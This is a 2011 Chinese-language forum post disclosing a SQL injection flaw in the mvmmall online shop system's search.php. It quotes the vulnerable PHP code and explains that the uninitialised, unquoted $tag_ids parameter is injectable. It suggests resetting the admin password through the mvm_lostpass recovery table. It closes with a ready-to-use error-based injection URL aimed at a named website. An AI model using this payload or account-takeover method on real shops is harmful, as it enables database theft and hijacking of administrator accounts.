oma 发表于 2011-12-20 09:47

mvmmall网店商城系统注入漏洞

<P>mvmmall网店商城系统最新注入0day问题出在搜索search.php这个文件上。</P>
<P>代码如下:</P>
<P>&lt;?php<BR>require_once ‘include/common.inc.php’;<BR>require_once ROOTPATH.’header.php’;<BR>if($action!=’search’){<BR>$search_key&nbsp; = ”;<BR>if (isset($ps_search))<BR>{&nbsp;&nbsp; //省略一堆东西<BR>$tag_ids = array();&nbsp; //在if里<BR>//继续省略<BR>while ($row = $db-&gt;fetch_array($result)) {<BR>$tag_ids[] = $row['goods_id'];<BR>}&nbsp; //也是在if里<BR>}<BR>//省略一堆东西<BR>}&nbsp; //结束if里的东西<BR>//商品标签搜索<BR>$tag_ids = array_unique($tag_ids);&nbsp; //没有ps_search他就没初始化!可自行输入<BR>$tag_search = implode(‘,’,dhtmlchars($tag_ids));&nbsp;&nbsp;&nbsp; //dhtmlchars过滤HTML标签不用理会<BR>$tag_search &amp;&amp; $tag_search = “OR uid IN($tag_search)”; //呼…..成功了!<BR>//省略无关东西<BR>$search_sql&nbsp; = “WHERE upv = ’1′&nbsp; AND up_date&lt;=’$m_now_time’”.” AND (( 1 ” . $cat_search . $search_key . $brand_search . $min_search . $max_search .” ) “.$tag_search.” )”;//没有单引号的….<BR>$total_count = $db-&gt;counter($mvm_goods_table,$search_sql);</P>
<P>用ADMIN的用户和MALL后用找回密码功能 mvm_lostpass存放验证串直接改密码了。</P>
<P>测试EXP:</P>
<P>http://www.heimian.com/search.php?tag_ids=uid))%20and(select%201%20from(select%20count(*),concat((select%20(select%20user())%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1%23</P>
页: [1]
查看完整版本: mvmmall网店商城系统注入漏洞